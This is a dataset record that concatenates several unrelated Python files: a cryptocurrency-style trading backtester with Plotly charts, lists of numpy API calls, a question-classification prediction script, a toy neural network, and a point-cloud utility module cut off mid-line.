self.close_fee_pct) + (self.close_fee)\n\n if self.position == LONG:\n self.profit_pct = ((self.close_rate - close_fee) / (self.open_rate + open_fee)) - 1\n self.profit_pip = ((self.close_rate - close_fee) - (self.open_rate + open_fee))\n elif self.position == SHORT:\n self.profit_pct = ((self.open_rate - open_fee) / (self.close_rate + open_fee)) - 1\n self.profit_pip = ((self.open_rate - open_fee) - (self.close_rate + open_fee))\n\n self.profit_pip = int(self.profit_pip * pip_multiplier)\n try:\n self.duration = int((self.close_time - self.open_time).total_seconds() / 60)\n except:\n pass\n self.duration_candles = self.close_i - self.open_i\n\n\n def to_dict(self):\n return {\n \"id\": self.id,\n \"position\": self.position,\n \"open_time\": self.open_time,\n \"open_rate\": self.open_rate,\n \"open_fee\": self.open_fee,\n \"close_time\": self.close_time,\n \"close_rate\": self.close_rate,\n \"close_fee\": self.close_fee,\n \"profit_pct\": self.profit_pct,\n \"profit_pip\": self.profit_pip,\n \"duration\": self.duration,\n \"duration_candles\": self.duration_candles,\n \"open_i\": self.open_i,\n \"close_i\": self.close_i\n }\n\nclass BacktestSimpleResult(Base):\n __tablename__ = 'results'\n\n id = Column(Integer, primary_key=True, autoincrement=True)\n pair_id = Column(Integer)\n seed = Column(String)\n statement = Column(String)\n trades = Column(Integer)\n\n cum_profit = Column(Float)\n\n profit_drawdown = Column(Float)\n equity_drawdown = Column(Float)\n\n profit_deviation = Column(Float)\n profit_deviation_max = Column(Float)\n\n equity_deviation = Column(Float)\n equity_deviation_max = Column(Float)\n\n negative_equity = Column(Float)\n\n trade_duration_mean = Column(Float)\n trade_duration_median = Column(Float)\n trade_duration_variance = Column(Float)\n\n win_rate = Column(Float)\n cnt_wins = Column(Float)\n cnt_losses = Column(Float)\n\n sharpe_ratio = Column(Float)\n sortino_ratio = Column(Float)\n\n lr1 = Column(Float)\n lr2 = Column(Float)\n lr3 = Column(Float)\n lrk1 = Column(Float)\n lrk2 = Column(Float)\n lrk3 = Column(Float)\n\n buy_sell_signal_ratio = Column(Float)\n score = Column(Float)\n\n def __init__(self):\n self.pair_id = 0\n self.trades = 0\n self.cum_profit = 0\n self.profit_drawdown = 0\n self.equity_drawdown = 0\n self.profit_deviation = 0\n self.profit_deviation_max = 0\n self.equity_deviation = 0\n self.equity_deviation_max = 0\n self.negative_equity = 0\n self.trade_duration_mean = 0\n self.trade_duration_median = 0\n self.trade_duration_variance = 0\n self.win_rate = 0\n self.cnt_wins = 0\n self.cnt_losses = 0\n self.sharpe_ratio = 0\n self.sortino_ratio = 0\n self.lr1 = 0\n self.lr2 = 0\n self.lr3 = 0\n self.lrk1 = 0\n self.lrk2 = 0\n self.lrk3 = 0\n self.buy_sell_signal_ratio = 0\n self.score = 0\n\n\nclass SimpleBacktest():\n def __init__(self, df, spread=0, fee_pct=0, ping_pong=False, pip_multiplier=1):\n self.spread = spread\n self.fee_pct = fee_pct\n self.ping_pong = ping_pong\n self.pip_multiplier = pip_multiplier\n self.df = df\n\n tmp = df[['date', 'open', 'high', 'low', 'close', 'buy', 'sell', 'sbuy', 'ssell']].copy()\n self.date = tmp.columns.get_loc(\"date\")\n self.open = tmp.columns.get_loc(\"open\")\n self.high = tmp.columns.get_loc(\"high\")\n self.low = tmp.columns.get_loc(\"low\")\n self.close = tmp.columns.get_loc(\"close\")\n self.buy = tmp.columns.get_loc(\"buy\")\n self.sell = tmp.columns.get_loc(\"sell\")\n self.sbuy = tmp.columns.get_loc(\"sbuy\")\n self.ssell = tmp.columns.get_loc(\"ssell\")\n self.numpy_df = tmp.to_numpy()\n self.numpy_df[:, self.buy] = 0\n self.numpy_df[:, self.sell] = 0\n self.numpy_df[:, self.sbuy] = 0\n self.numpy_df[:, self.ssell] = 0\n self.stats = BacktestSimpleResult()\n\n self.reset()\n\n def reset(self):\n # INIT\n self.i = 0\n self.trades = []\n self.cur_trade = None\n self.row = None\n\n self.std_duration = []\n self.std_duration_candles = []\n\n # Array mit Profit in % von jedem Trade\n self.std_returns = []\n # Array mit Zeit für Plotting\n self.std_df_time = []\n # Gesamtprofit bei jeder Candle\n self.std_df_profit = []\n # UPNL bei jeder Candle\n self.std_df_upnl = []\n # Equity bei jeder Candle\n self.std_df_equity = []\n\n self.stats = BacktestSimpleResult()\n\n # COPY\n self.numpy_df[:, self.buy] = 0\n self.numpy_df[:, self.sell] = 0\n self.numpy_df[:, self.sbuy] = 0\n self.numpy_df[:, self.ssell] = 0\n\n\n def _open(self, position):\n self.cur_trade = Trade(\n id=len(self.trades),\n position=position,\n open_time=self.row[self.date],\n open_rate=self.row[self.open],\n open_fee=self.spread,\n open_fee_pct=self.fee_pct,\n i=self.i\n )\n self.trades.append(self.cur_trade)\n\n def _close(self):\n self.cur_trade.close(\n close_time=self.row[self.date],\n close_rate=self.row[self.open],\n close_fee=self.spread,\n close_fee_pct=self.fee_pct,\n pip_multiplier=self.pip_multiplier,\n i=self.i\n )\n self.stats.trades += 1\n self.stats.cum_profit = self.stats.cum_profit + self.cur_trade.profit_pct\n #self.stats.cum_profit_pip = self.stats.cum_profit_pip + self.cur_trade.profit_pip\n\n if self.cur_trade.profit_pct > 0:\n self.stats.cnt_wins += 1\n else:\n self.stats.cnt_losses += 1\n\n self.std_returns.append(self.cur_trade.profit_pct)\n self.std_duration.append(self.cur_trade.duration)\n self.std_duration_candles.append(self.cur_trade.duration_candles)\n\n self.cur_trade = None\n\n\n def _get_upnl(self, trade, close_rate):\n open_fee = (trade.open_rate * trade.open_fee_pct) + (trade.open_fee)\n close_fee = (close_rate * trade.open_fee_pct) + (trade.open_fee)\n\n if trade.position == LONG:\n profit_pct = ((close_rate - close_fee) / (trade.open_rate + open_fee)) - 1\n elif trade.position == SHORT:\n profit_pct = ((trade.open_rate - open_fee) / (close_rate + open_fee)) - 1\n\n return profit_pct\n\n\n def backtest(self, np_buy: np.ndarray, np_sell: np.ndarray, start: int=None, end: int=None, np_sbuy: np.ndarray=None, np_ssell: np.ndarray=None):\n #date = self.date\n #open = self.open\n #high = self.high\n #low = self.low\n #close = self.close\n buy = self.buy\n sell = self.sell\n sbuy = self.sbuy\n ssell = self.ssell\n df = self.numpy_df\n\n df[:, buy] = np_buy[:]\n df[:, sell] = np_sell[:]\n\n if self.ping_pong:\n df[:, sbuy] = np_buy[:]\n df[:, ssell] = np_sell[:]\n else:\n if np_sbuy is not None:\n df[:, sbuy] = np_sbuy[:]\n else:\n df[:, sbuy] = 0\n\n if np_ssell is not None:\n df[:, ssell] = np_ssell[:]\n else:\n df[:, ssell] = 0\n\n # Buy/Sell Ratio\n buys = np.sum(np_buy)\n sells = np.sum(np_sell)\n if buys > 1 and sells > 1:\n if buys > sells:\n self.stats.buy_sell_signal_ratio = sells / buys\n else:\n self.stats.buy_sell_signal_ratio = buys / sells\n else:\n self.stats = None\n return False\n\n length = df.shape[0]\n if start is None:\n start = 0\n if end is None:\n end = length - 1\n\n last_upnl = 0\n equity = 0\n for i in range(start, end):\n rrow = df[i]\n self.row = rrow\n self.i = i\n\n new_equity = equity\n upnl = 0\n\n if i > 0:\n lrow = df[i - 1] # lrow nehmen damit automatisch geshiftet wird\n # Kein Trade -> Open\n if self.cur_trade is None:\n # Open\n if lrow[buy] == 1:\n self._open(LONG)\n elif lrow[ssell] == 1:\n self._open(SHORT)\n # Trade -> Close oder Close und neuer Open\n else:\n # UPNL holen für Equity\n upnl = self._get_upnl(self.cur_trade, self.row[self.open])\n new_equity = equity + upnl\n\n if lrow[sell] == 1 and lrow[buy] == 1:\n raise Exception(\"Kann nicht Long-kaufen und Long-verkaufen!\")\n if lrow[ssell] == 1 and lrow[sbuy] == 1:\n raise Exception(\"Kann nicht Short-verkaufen und Short-kaufen!\")\n if lrow[ssell] == 1 and lrow[buy] == 1:\n raise Exception(\"Kann nicht Short-verkaufen und Long-kaufen!\")\n\n # Close-Signal\n if (lrow[sell] == 1 or lrow[ssell] == 1) and self.cur_trade.position == LONG:\n self._close()\n equity = self.stats.cum_profit\n elif (lrow[buy] == 1 or lrow[sbuy] == 1) and self.cur_trade.position == SHORT:\n self._close()\n equity = self.stats.cum_profit\n\n if self.cur_trade is None:\n if lrow[buy] == 1:\n self._open(LONG)\n if lrow[ssell] == 1:\n self._open(SHORT)\n\n self.std_df_time.append(self.row[self.date])\n self.std_df_profit.append(self.stats.cum_profit)\n self.std_df_upnl.append(upnl)\n self.std_df_equity.append(new_equity)\n\n if self.cur_trade is not None:\n self.i += 1\n rrow = df[i]\n self.row = rrow\n self._close()\n new_equity = self.stats.cum_profit\n upnl = 0\n\n # Statistik vorbereiten\n self.stats.trades_cnt = len(self.trades)\n if (self.stats.trades_cnt < 3) or (self.stats.cum_profit < 0):\n logger.debug(\"Keine Trades oder kein Gewinn!\")\n self.stats = None\n return False\n\n if self.row is not None:\n self.std_df_time.append(self.row[self.date])\n self.std_df_profit.append(self.stats.cum_profit)\n self.std_df_upnl.append(upnl)\n self.std_df_equity.append(new_equity)\n\n\n assert(len(self.std_df_equity) == len(np_buy))\n\n self.get_stats_np()\n return True\n\n \"\"\"\n █████╗ ██╗ ██╗███████╗██╗ ██╗███████╗██████╗ ████████╗███████╗███╗ ██╗\n ██╔══██╗██║ ██║██╔════╝██║ ██║██╔════╝██╔══██╗╚══██╔══╝██╔════╝████╗ ██║\n ███████║██║ ██║███████╗██║ █╗ ██║█████╗ ██████╔╝ ██║ █████╗ ██╔██╗ ██║\n ██╔══██║██║ ██║╚════██║██║███╗██║██╔══╝ ██╔══██╗ ██║ ██╔══╝ ██║╚██╗██║\n ██║ ██║╚██████╔╝███████║╚███╔███╔╝███████╗██║ ██║ ██║ ███████╗██║ ╚████║\n ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚══╝╚══╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝\n \"\"\"\n\n\n def get_stats_np(self):\n if self.stats.cnt_losses <= 0:\n self.stats.cnt_losses = 1\n if self.stats.cnt_wins <= 0:\n self.stats.cnt_wins = 1\n self.stats.win_rate = self.stats.cnt_wins / self.stats.cnt_losses\n\n profit = np.array(self.std_df_profit)\n equity = np.array(self.std_df_equity)\n upnl = np.array(self.std_df_upnl)\n\n equity_norm = df_utils.normalize_np(equity)\n profit_norm = df_utils.normalize_np(profit)\n #upnl_norm = df_utils.normalize_np(upnl)\n\n self.stats.equity = equity_norm\n self.stats.profit = profit_norm\n\n # Profit Drawdown PCT\n min_right = np.minimum.accumulate(profit_norm[::-1])[::-1]\n self.stats.profit_drawdown = np.max(np.abs(profit_norm - min_right))\n\n # Equity Drawdown PCT\n min_right = np.minimum.accumulate(equity_norm[::-1])[::-1]\n self.stats.equity_drawdown = np.max(np.abs(equity_norm - min_right)) \n\n # Profit Deviation PCT\n step = 1 / len(profit_norm)\n perfekte_gewinnkurve = np.full(len(profit_norm), step).cumsum()\n deviation = np.abs(profit_norm - perfekte_gewinnkurve)\n self.stats.profit_deviation = np.sum(deviation) / len(profit_norm)\n self.stats.profit_deviation_max = np.max(deviation)\n\n # Equity Deviation PCT\n step = 1 / len(equity_norm)\n perfekte_gewinnkurve = np.full(len(equity_norm), step).cumsum()\n deviation = np.abs(equity_norm - perfekte_gewinnkurve)\n self.stats.equity_deviation = np.sum(deviation) / len(equity_norm)\n self.stats.equity_deviation_max = np.max(deviation)\n\n # Avg, Median Trade Duration\n duration_candles = np.array(self.std_duration_candles)\n self.stats.trade_duration_mean = np.mean(duration_candles)\n self.stats.trade_duration_median = np.median(duration_candles)\n self.stats.trade_duration_variance = np.var(duration_candles, ddof=1)\n\n # Negative Equity\n self.stats.negative_equity = np.sum(np.power(1 + np.abs(np.where(upnl > 0, 0, upnl)), 6))\n\n # Sortino\n returns = np.array(self.std_returns) \n ratio = _sortino_ratio_v2(returns)\n if ratio > 100:\n ratio = -1\n self.stats.sortino_ratio = ratio\n\n # Sharpe\n ratio = _sharpe_ratio_v2(returns)\n if ratio > 100:\n ratio = -1\n self.stats.sharpe_ratio = ratio\n\n # Linreg\n y = profit_norm\n length = len(y)\n\n l1 = int(length) - 1\n l2 = int(length / 2)\n l3 = int(length / 3)\n\n self.stats.lr1 = 1\n self.stats.lr2 = 1\n self.stats.lr3 = 1\n self.stats.lrk3 = 1\n self.stats.lrk2 = 1\n self.stats.lrk1 = 1\n \"\"\"\n self.stats.lr1 = linreg_np(y[-l1:])\n self.stats.lr2 = linreg_np(y[-l2:])\n self.stats.lr3 = linreg_np(y[-l3:])\n\n self.stats.lrk3 = linreg_np(y[-l3:], 2) - linreg_np(y[-l3:], 1)\n self.stats.lrk2 = linreg_np(y[-l2:], 2) - linreg_np(y[-l2:], 1)\n self.stats.lrk1 = linreg_np(y[-l1:], 2) - linreg_np(y[-l1:], 1)\n \"\"\"\n\n\n \"\"\"\n ██████╗ ██╗ ██████╗ ████████╗████████╗██╗███╗ ██╗ ██████╗ \n ██╔══██╗██║ ██╔═══██╗╚══██╔══╝╚══██╔══╝██║████╗ ██║██╔════╝ \n ██████╔╝██║ ██║ ██║ ██║ ██║ ██║██╔██╗ ██║██║ ███╗\n ██╔═══╝ ██║ ██║ ██║ ██║ ██║ ██║██║╚██╗██║██║ ██║\n ██║ ███████╗╚██████╔╝ ██║ ██║ ██║██║ ╚████║╚██████╔╝\n ╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ \n \"\"\"\n\n\n\n def plot_plotly(self, name, path, indicators=[]):\n self.indicators = indicators\n fig = self.generate_candlestick_graph(\n pair=name,\n data=self.df\n )\n\n trades = self.get_trades()\n fig = self.plot_trades(fig, trades)\n fig = self.plot_profit(fig)\n\n fig.update_layout(showlegend=True)\n fig.update_yaxes(automargin=True)\n fig.update_xaxes(automargin=True)\n fig.update_layout(\n autosize=True,\n margin=go.layout.Margin(\n l=0,\n r=0,\n b=0,\n t=30,\n pad=0\n )\n )\n\n plot(fig, filename=path, auto_open=False)\n\n\n def get_trades(self):\n self.df_trades = pd.DataFrame.from_records([s.to_dict() for s in self.trades])\n if len(self.df_trades) > 0:\n self.df_trades[\"profit_pct\"] = self.df_trades[\"profit_pct\"] * 100\n self.profit = self.df_trades[\"profit_pct\"].sum()\n else:\n self.profit = -1\n return self.df_trades\n\n\n def generate_candlestick_graph(self, pair: str, data: pd.DataFrame) -> go.Figure:\n # Define the graph\n fig = make_subplots(\n rows=2,\n cols=1,\n shared_xaxes=True,\n row_width=[1, 1],\n vertical_spacing=0,\n )\n fig['layout'].update(title=pair)\n fig['layout']['yaxis1'].update(title='Price')\n fig['layout']['yaxis2'].update(title='Balance')\n\n #fig['layout']['yaxis3'].update(title='Other')\n fig['layout']['xaxis']['rangeslider'].update(visible=False)\n #fig['layout']['xaxis'].update(type=False)\n\n if len(data.index) > 1024:\n # Common information\n candles = go.Candlestick(\n x=data.date,\n open=data.open,\n high=data.high,\n low=data.low,\n close=data.close,\n name='Price'\n #text=data.status\n )\n else:\n candles = go.Scatter(\n x=data.date,\n y=data.close,\n name='Price',\n fillcolor=\"black\"\n )\n fig.add_trace(candles, 1, 1)\n\n for indi in self.indicators:\n if indi in data.columns:\n candles = go.Scatter(\n x=data.date,\n y=data[indi],\n name=indi,\n fillcolor=\"blue\"\n )\n fig.add_trace(candles, 1, 1)\n\n\n op = 0.5\n size = 11\n width = 2\n\n if 'buy' in data.columns:\n df_buy = data[data['buy'] == 1]\n if len(df_buy) > 0:\n buys = go.Scatter(\n x=df_buy.date,\n y=df_buy.close,\n mode='markers',\n name='buy',\n opacity=op,\n marker=dict(\n symbol='triangle-up-open',\n size=size,\n line=dict(width=width),\n color='green',\n )\n )\n fig.add_trace(buys, 1, 1)\n\n if 'sell' in data.columns:\n df_sell = data[data['sell'] == 1]\n if len(df_sell) > 0:\n sells = go.Scatter(\n x=df_sell.date,\n y=df_sell.close,\n mode='markers',\n name='sell',\n opacity=op,\n marker=dict(\n symbol='circle-open',\n size=size,\n line=dict(width=width),\n color='red',\n )\n )\n fig.add_trace(sells, 1, 1)\n\n\n if 'sbuy' in data.columns:\n df_buy = data[data['sbuy'] == 1]\n if len(df_buy) > 0:\n buys = go.Scatter(\n x=df_buy.date,\n y=df_buy.close,\n mode='markers',\n name='sbuy',\n opacity=op,\n marker=dict(\n symbol='circle-open',\n size=size,\n line=dict(width=width),\n color='cyan',\n )\n )\n fig.add_trace(buys, 1, 1)\n\n\n if 'ssell' in data.columns:\n df_sell = data[data['ssell'] == 1]\n if len(df_sell) > 0:\n sells = go.Scatter(\n x=df_sell.date,\n y=df_sell.close,\n mode='markers',\n name='ssell',\n opacity=op,\n marker=dict(\n symbol='triangle-down-open',\n size=size,\n line=dict(width=width),\n color='orange',\n )\n )\n fig.add_trace(sells, 1, 1)\n\n return fig\n\n def plot_profit(self, fig) -> make_subplots:\n profit = go.Scatter(\n x=self.std_df_time,\n y=self.std_df_profit,\n name='Cum Profit'\n )\n fig.add_trace(profit, 2, 1)\n\n profit = go.Scatter(\n x=self.std_df_time,\n y=self.std_df_equity,\n name='Equity'\n )\n fig.add_trace(profit, 2, 1)\n\n profit = go.Scatter(\n x=self.std_df_time,\n y=self.std_df_upnl,\n name='UPNL'\n )\n fig.add_trace(profit, 2, 1)\n\n return fig\n\n\n def plot_trades(self, fig, trades: pd.DataFrame) -> make_subplots:\n # Trades can be empty\n if trades is not None and len(trades) > 0:\n longs = trades[trades[\"position\"] == 1]\n shorts = trades[trades[\"position\"] == -1]\n\n def tmp(df, name):\n if len(df.index) > 0:\n color_entry = df.apply(lambda row: 'green' if row['position'] == 1 else 'orange', axis=1)\n color_exit = df.apply(lambda row: 'red' if row['position'] == 1 else 'cyan', axis=1)\n shape = df.apply(lambda row: 'square-open' if row['position'] == 1 else 'diamond-open', axis=1)\n\n trade_buys = go.Scatter(\n x=df[\"open_time\"],\n y=df[\"open_rate\"],\n mode='markers',\n name=name + \" OPEN\",\n marker=dict(\n symbol=shape,\n size=11,\n line=dict(width=2),\n color=color_entry\n )\n )\n desc = df.apply(lambda row: f\"{round((row['profit_pct']), 3)}%,\"\n f\"{row['duration']}min\",\n axis=1)\n trade_sells = go.Scatter(\n x=df[\"close_time\"],\n y=df[\"close_rate\"],\n text=desc,\n mode='markers',\n name=name + \" CLOSE\",\n marker=dict(\n symbol=shape,\n size=11,\n line=dict(width=2),\n color=color_exit\n )\n )\n fig.add_trace(trade_buys, 1, 1)\n fig.add_trace(trade_sells, 1, 1)\n\n tmp(longs, \"LONG\")\n tmp(shorts, \"SHORT\")\n else:\n logger.warning(\"No trades found.\")\n return fig" ]
[ [ "numpy.max", "numpy.array", "numpy.minimum.accumulate", "sklearn.linear_model.LinearRegression", "numpy.median", "numpy.sum", "numpy.mean", "numpy.std", "numpy.where", "numpy.abs", "numpy.var" ] ]
jantrienes/ecir2019-qac
[ "7d6dea5af85fc97d115cbf804365e04c8eed1111" ]
[ "qac/simq/simq_majority.py" ]
[ "import argparse\nimport logging\nimport logging.config\nimport os\nfrom os.path import dirname, exists, join\n\nimport numpy as np\nimport pandas as pd\n\nimport simq_features\nfrom qac.evaluation import evaluation\nfrom qac.experiments import preprocessing\n\nlogger = logging.getLogger(__name__) # pylint: disable=locally-disabled, invalid-name\n\nDEBUG = False\n\n\ndef make_predictions(args):\n test_ids = preprocessing.load_community(\n args.community, preprocess=False, with_dev=True).test_ids\n\n feature_handler = simq_features.FeatureHandler(args.community, run=args.simq_run)\n\n majority = feature_handler.read(feature_name='feat_all_majority_k10')\n fraction = feature_handler.read(feature_name='feat_all_fraction_k10')\n features = pd.concat([majority, fraction], axis=1)\n features['feat_all_fraction_unclear_k10'] = (1 - features.feat_all_fraction_k10)\n\n instances = features.loc[test_ids]\n\n y_pred = instances.feat_all_majority_k10.values\n y_pred_proba = instances.feat_all_fraction_unclear_k10.values # probability is for class UNCLEAR\n\n return np.stack([test_ids, y_pred, y_pred_proba], axis=1)\n\n\ndef save_predictions(pred, out_dir, run_id):\n os.makedirs(out_dir, exist_ok=True)\n\n y_pred = pred[:, 1].astype(int)\n y_pred = preprocessing.LABEL_ENCODER.inverse_transform(y_pred)\n pd.DataFrame.from_dict({'id': pred[:, 0], 'y_pred': y_pred, 'y_pred_proba': pred[:, 2]}) \\\n .to_csv(join(out_dir, '{}_test.csv'.format(run_id)), index=False)\n\n\ndef run_exists(out_dir, run_id):\n return exists(join(out_dir, '{}_test.csv'.format(run_id)))\n\n\ndef main(args):\n in_dir = join(dirname(__file__), '../../data/labeled/')\n out_dir = join(dirname(__file__), '../../output/predictions/{}'.format(args.community))\n\n if not run_exists(out_dir, args.run_id) or DEBUG:\n logger.info('Run %s does not exists. Start new...', args.run_id)\n pred = make_predictions(args)\n save_predictions(pred, out_dir, args.run_id)\n logger.info('Finish training and testing.')\n\n results_test = evaluation.evaluate(\n csv_true=join(in_dir, '{}_test.csv'.format(args.community)),\n csv_pred=join(out_dir, '{}_test.csv'.format(args.run_id)),\n label_encoder=preprocessing.LABEL_ENCODER\n )\n evaluation.print_results(results_test, '{}_test'.format(args.run_id))\n\n\ndef arg_parser():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"community\", help=\"Community name\", type=str)\n parser.add_argument(\"run_id\", help=\"Run identifier\", type=str)\n parser.add_argument(\"simq_run\", help=\"Identifier of similar question retrieval run\", type=str)\n return parser.parse_args()\n\n\nif __name__ == '__main__':\n args = arg_parser()\n log_dir = join(dirname(__file__), '../../output/predictions/{}'.format(args.community))\n os.makedirs(log_dir, exist_ok=True)\n log_filename = join(log_dir, '{}.log'.format(args.run_id))\n logging.getLogger('elasticsearch').setLevel(logging.WARNING)\n logging.config.fileConfig(join(dirname(__file__), '../logging_file.ini'),\n disable_existing_loggers=False,\n defaults={'logfilename': log_filename})\n main(args)\n" ]
[ [ "pandas.DataFrame.from_dict", "numpy.stack", "pandas.concat" ] ]
cuarti/python-artificial-intelligence-tests
[ "f9454b812ceadcabd7976ddb0a28229bc9db2b23" ]
[ "neural_networks/math/__init__.py" ]
[ "\nfrom numpy import array, random, dot\n\n\nclass NeuralNetwork:\n\n def __init__(self):\n random.seed(1)\n self.weights = 2 * random.random((2, 1)) - 1\n\n def train(self, inputs, outputs, num):\n for iteration in range(num):\n output = self.think(inputs)\n error = outputs - output\n adjustment = 0.01 * dot(inputs.T, error)\n self.weights += adjustment\n\n def think(self, inputs):\n return dot(inputs, self.weights)\n\n\ndef main():\n network = NeuralNetwork()\n inputs = array([[2, 3], [1, 1], [5, 2], [12, 3]])\n outputs = array([[10, 4, 14, 30]]).T\n network.train(inputs, outputs, 10000)\n\n print(network.think(array([15, 2])))\n\n\nif __name__ == '__main__':\n main()\n" ]
[ [ "numpy.random.seed", "numpy.random.random", "numpy.array", "numpy.dot" ] ]
mmabadal/shellnet
[ "6ab324c702b33542dc1a5c1ae86b7c53e3d1db76" ]
[ "utils/pointfly.py" ]
[ "import math\nimport random\nimport itertools\nimport numpy as np\nimport tensorflow as tf\nfrom numpy import linalg as LA\nfrom transforms3d.euler import euler2mat\n\n# the returned indices will be used by tf.gather_nd\ndef get_indices(batch_size, sample_num, point_num, pool_setting=None):\n if not isinstance(point_num, np.ndarray):\n point_nums = np.full((batch_size), point_num)\n else:\n point_nums = point_num\n\n indices = []\n for i in range(batch_size):\n pt_num = point_nums[i]\n if pool_setting is None:\n pool_size = pt_num\n else:\n if isinstance(pool_setting, int):\n pool_size = min(pool_setting, pt_num)\n elif isinstance(pool_setting, tuple):\n pool_size = min(random.randrange(pool_setting[0], pool_setting[1]+1), pt_num)\n if pool_size > sample_num:\n choices = np.random.choice(pool_size, sample_num, replace=False)\n else:\n choices = np.concatenate((np.random.choice(pool_size, pool_size, replace=False),\n np.random.choice(pool_size, sample_num - pool_size, replace=True)))\n if pool_size < pt_num:\n choices_pool = np.random.choice(pt_num, pool_size, replace=False)\n choices = choices_pool[choices]\n choices = np.expand_dims(choices, axis=1)\n choices_2d = np.concatenate((np.full_like(choices, i), choices), axis=1)\n indices.append(choices_2d)\n return np.stack(indices)\n\ndef gauss_clip(mu, sigma, clip):\n v = random.gauss(mu, sigma)\n v = max(min(v, mu + clip * sigma), mu - clip * sigma)\n return v\n\ndef uniform(bound):\n return bound * (2 * random.random() - 1)\n\n\ndef scaling_factor(scaling_param, method):\n try:\n scaling_list = list(scaling_param)\n return random.choice(scaling_list)\n except:\n if method == 'g':\n return gauss_clip(1.0, scaling_param, 3)\n elif method == 'u':\n return 1.0 + uniform(scaling_param)\n\n\ndef rotation_angle(rotation_param, method):\n try:\n rotation_list = list(rotation_param)\n return random.choice(rotation_list)\n except:\n if method == 'g':\n return gauss_clip(0.0, rotation_param, 3)\n elif method == 'u':\n return uniform(rotation_param)\n\n\ndef get_xforms(xform_num, rotation_range=(0, 0, 0, 'u'), scaling_range=(0.0, 0.0, 0.0, 'u'), order='rxyz'):\n xforms = np.empty(shape=(xform_num, 3, 3))\n rotations = np.empty(shape=(xform_num, 3, 3))\n for i in range(xform_num):\n rx = rotation_angle(rotation_range[0], rotation_range[3])\n ry = rotation_angle(rotation_range[1], rotation_range[3])\n rz = rotation_angle(rotation_range[2], rotation_range[3])\n rotation = euler2mat(rx, ry, rz, order)\n\n sx = scaling_factor(scaling_range[0], scaling_range[3])\n sy = scaling_factor(scaling_range[1], scaling_range[3])\n sz = scaling_factor(scaling_range[2], scaling_range[3])\n scaling = np.diag([sx, sy, sz])\n\n xforms[i, :] = scaling * rotation\n rotations[i, :] = rotation\n return xforms, rotations\n\n\n\ndef augment(points, xforms, range=None):\n points_xformed = tf.matmul(points, xforms, name='points_xformed')\n if range is None:\n return points_xformed\n\n jitter_data = range * tf.random_normal(tf.shape(points_xformed), name='jitter_data')\n jitter_clipped = tf.clip_by_value(jitter_data, -5 * range, 5 * range, name='jitter_clipped')\n return points_xformed + jitter_clipped\n\n\n# A shape is (N, C)\ndef distance_matrix(A):\n r = tf.reduce_sum(A * A, 1, keepdims=True)\n m = tf.matmul(A, tf.transpose(A))\n D = r - 2 * m + tf.transpose(r)\n return D\n\n\n# A shape is (N, P, C)\ndef batch_distance_matrix(A):\n r = tf.reduce_sum(A * A, axis=2, keepdims=True)\n m = tf.matmul(A, tf.transpose(A, perm=(0, 2, 1)))\n D = r - 2 * m + tf.transpose(r, perm=(0, 2, 1))\n return D\n\n\n# A shape is (N, P_A, C), B shape is (N, P_B, C)\n# D shape is (N, P_A, P_B)\ndef batch_distance_matrix_general(A, B):\n r_A = tf.reduce_sum(A * A, axis=2, keepdims=True)\n r_B = tf.reduce_sum(B * B, axis=2, keepdims=True)\n m = tf.matmul(A, tf.transpose(B, perm=(0, 2, 1)))\n D = r_A - 2 * m + tf.transpose(r_B, perm=(0, 2, 1))\n return D\n\n\n# A shape is (N, P, C)\ndef find_duplicate_columns(A):\n N = A.shape[0]\n P = A.shape[1]\n indices_duplicated = np.fill((N, 1, P), 1, dtype=np.int32)\n for idx in range(N):\n _, indices = np.unique(A[idx], return_index=True, axis=0)\n indices_duplicated[idx, :, indices] = 0\n return indices_duplicated\n\n\n# add a big value to duplicate columns\ndef prepare_for_unique_top_k(D, A):\n indices_duplicated = tf.py_function(find_duplicate_columns, [A], tf.int32)\n D += tf.reduce_max(D)*tf.cast(indices_duplicated, tf.float32)\n\n\n# return shape is (N, P, K, 2)\ndef knn_indices(points, k, sort=True, unique=True):\n points_shape = tf.shape(points)\n batch_size = points_shape[0]\n point_num = points_shape[1]\n\n D = batch_distance_matrix(points)\n if unique:\n prepare_for_unique_top_k(D, points)\n distances, point_indices = tf.nn.top_k(-D, k=k, sorted=sort)\n batch_indices = tf.tile(tf.reshape(tf.range(batch_size), (-1, 1, 1, 1)), (1, point_num, k, 1))\n indices = tf.concat([batch_indices, tf.expand_dims(point_indices, axis=3)], axis=3)\n return -distances, indices\n\n\n# return shape is (N, P, K, 2)\ndef knn_indices_general(queries, points, k, sort=True, unique=True):\n queries_shape = tf.shape(queries)\n batch_size = queries_shape[0]\n point_num = queries_shape[1]\n tmp_k = 0\n D = batch_distance_matrix_general(queries, points)\n if unique:\n prepare_for_unique_top_k(D, points)\n _, point_indices = tf.nn.top_k(-D, k=k+tmp_k, sorted=sort) # (N, P, K)\n # point_indices = tf.contrib.framework.argsort(D)\n # point_indices = point_indices[:,:,:k]\n batch_indices = tf.tile(tf.reshape(tf.range(batch_size), (-1, 1, 1, 1)), (1, point_num, k, 1))\n indices = tf.concat([batch_indices, tf.expand_dims(point_indices[:,:,tmp_k:], axis=3)], axis=3)\n return indices\n\n\n# indices is (N, P, K, 2)\n# return shape is (N, P, K, 2)\ndef sort_points(points, indices, sorting_method):\n indices_shape = tf.shape(indices)\n batch_size = indices_shape[0]\n point_num = indices_shape[1]\n k = indices_shape[2]\n\n nn_pts = tf.gather_nd(points, indices) # (N, P, K, 3)\n if sorting_method.startswith('c'):\n if ''.join(sorted(sorting_method[1:])) != 'xyz':\n print('Unknown sorting method!')\n exit()\n epsilon = 1e-8\n nn_pts_min = tf.reduce_min(nn_pts, axis=2, keepdims=True)\n nn_pts_max = tf.reduce_max(nn_pts, axis=2, keepdims=True)\n nn_pts_normalized = (nn_pts - nn_pts_min) / (nn_pts_max - nn_pts_min + epsilon) # (N, P, K, 3)\n scaling_factors = [math.pow(100.0, 3 - sorting_method.find('x')),\n math.pow(100.0, 3 - sorting_method.find('y')),\n math.pow(100.0, 3 - sorting_method.find('z'))]\n scaling = tf.constant(scaling_factors, shape=(1, 1, 1, 3))\n sorting_data = tf.reduce_sum(nn_pts_normalized * scaling, axis=-1) # (N, P, K)\n sorting_data = tf.concat([tf.zeros((batch_size, point_num, 1)), sorting_data[:, :, 1:]], axis=-1)\n elif sorting_method == 'l2':\n nn_pts_center = tf.reduce_mean(nn_pts, 